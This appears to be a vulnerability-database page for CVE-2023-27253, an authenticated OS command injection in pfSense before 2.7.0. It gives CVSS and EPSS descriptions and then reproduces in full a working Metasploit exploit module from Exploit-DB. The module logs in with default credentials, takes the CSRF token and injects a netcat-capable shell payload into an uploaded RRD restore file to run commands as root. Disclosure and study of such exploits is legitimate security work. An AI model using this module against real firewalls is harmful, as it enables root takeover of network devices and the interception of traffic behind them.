Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE-91 |
XML Injection (aka Blind XPath Injection)
The product does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system. |
|
Metrics
| Metrics |
Score |
Severity |
CVSS Vector |
Source |
| V3.1 |
8.8 |
HIGH |
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 51608
Publication date : 2023-07-19 22h00 +00:00
Author : Emir Polat
EDB Verified : No
# Exploit Title: pfSense v2.7.0 - OS Command Injection
#Exploit Author: Emir Polat
# CVE-ID : CVE-2023-27253
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'pfSense Restore RRD Data Command Injection',
'Description' => %q{
This module exploits an authenticated command injection vulnerabilty in the "restore_rrddata()" function of
pfSense prior to version 2.7.0 which allows an authenticated attacker with the "WebCfg - Diagnostics: Backup & Restore"
privilege to execute arbitrary operating system commands as the "root" user.
This module has been tested successfully on version 2.6.0-RELEASE.
},
'License' => MSF_LICENSE,
'Author' => [
'Emir Polat', # vulnerability discovery & metasploit module
],
'References' => [
['CVE', '2023-27253'],
['URL', 'https://redmine.pfsense.org/issues/13935'],
['URL', 'https://github.com/pfsense/pfsense/commit/ca80d18493f8f91b21933ebd6b714215ae1e5e94']
],
'DisclosureDate' => '2023-03-18',
'Platform' => ['unix'],
'Arch' => [ ARCH_CMD ],
'Privileged' => true,
'Targets' => [
[ 'Automatic Target', {}]
],
'Payload' => {
'BadChars' => "\x2F\x27",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic netcat'
}
},
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)
register_options [
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense'])
]
end
def check
unless login
return Exploit::CheckCode::Unknown("#{peer} - Could not obtain the login cookies needed to validate the vulnerability!")
end
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
'method' => 'GET',
'keep_cookies' => true
)
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return Exploit::CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
unless res&.body&.include?('Diagnostics: ')
return Exploit::CheckCode::Safe('Vulnerable module not reachable')
end
version = detect_version
unless version
return Exploit::CheckCode::Detected('Unable to get the pfSense version')
end
unless Rex::Version.new(version) < Rex::Version.new('2.7.0-RELEASE')
return Exploit::CheckCode::Safe("Patched pfSense version #{version} detected")
end
Exploit::CheckCode::Appears("The target appears to be running pfSense version #{version}, which is unpatched!")
end
def login
# Skip the login process if we are already logged in.
return true if @logged_in
csrf = get_csrf('index.php', 'GET')
unless csrf
print_error('Could not get the expected CSRF token for index.php when attempting login!')
return false
end
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'vars_post' => {
'__csrf_magic' => csrf,
'usernamefld' => datastore['USERNAME'],
'passwordfld' => datastore['PASSWORD'],
'login' => ''
},
'keep_cookies' => true
)
if res && res.code == 302
@logged_in = true
true
else
false
end
end
def detect_version
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET',
'keep_cookies' => true
)
# If the response isn't a 200 ok response or is an empty response, just return nil.
unless res && res.code == 200 && res.body
return nil
end
if (%r{Version.+<strong>(?<version>[0-9.]+-RELEASE)\n?</strong>}m =~ res.body).nil?
nil
else
version
end
end
def get_csrf(uri, methods)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, uri),
'method' => methods,
'keep_cookies' => true
)
unless res && res.body
return nil # If no response was returned or an empty response was returned, then return nil.
end
# Try regex match the response body and save the match into a variable named csrf.
if (/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body).nil?
return nil # No match could be found, so the variable csrf won't be defined.
else
return csrf
end
end
def drop_config
csrf = get_csrf('diag_backup.php', 'GET')
unless csrf
fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when dropping the config!')
end
post_data = Rex::MIME::Message.new
post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')
post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')
post_data.add_part('Download configuration as XML', nil, nil, 'form-data; name="download"')
post_data.add_part('', nil, nil, 'form-data; name="restorearea"')
post_data.add_part('', 'application/octet-stream', nil, 'form-data; name="conffile"')
post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s,
'keep_cookies' => true
)
if res && res.code == 200 && res.body =~ /<rrddatafile>/
return res.body
else
return nil
end
end
def exploit
unless login
fail_with(Failure::NoAccess, 'Could not obtain the login cookies!')
end
csrf = get_csrf('diag_backup.php', 'GET')
unless csrf
fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when starting exploitation!')
end
config_data = drop_config
if config_data.nil?
fail_with(Failure::UnexpectedReply, 'The drop config response was empty!')
end
if (%r{<filename>(?<file>.*?)</filename>} =~ config_data).nil?
fail_with(Failure::UnexpectedReply, 'Could not get the filename from the drop config response!')
end
config_data.gsub!(' ', '${IFS}')
send_p = config_data.gsub(file, "WAN_DHCP-quality.rrd';#{payload.encoded};")
post_data = Rex::MIME::Message.new
post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')
post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')
post_data.add_part('yes', nil, nil, 'form-data; name="donotbackuprrd"')
post_data.add_part('yes', nil, nil, 'form-data; name="backupssh"')
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')
post_data.add_part('rrddata', nil, nil, 'form-data; name="restorearea"')
post_data.add_part(send_p.to_s, 'text/xml', nil, "form-data; name=\"conffile\"; filename=\"rrddata-config-pfSense.home.arpa-#{rand_text_alphanumeric(14)}.xml\"")
post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')
post_data.add_part('Restore Configuration', nil, nil, 'form-data; name="restore"')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s,
'keep_cookies' => true
)
if res
print_error("The response to a successful exploit attempt should be 'nil'. The target responded with an HTTP response code of #{res.code}. Try rerunning the module.")
end
end
end
Products Mentioned
Configuraton 0
Netgate>>Pfsense >> Version 2.7.0
References
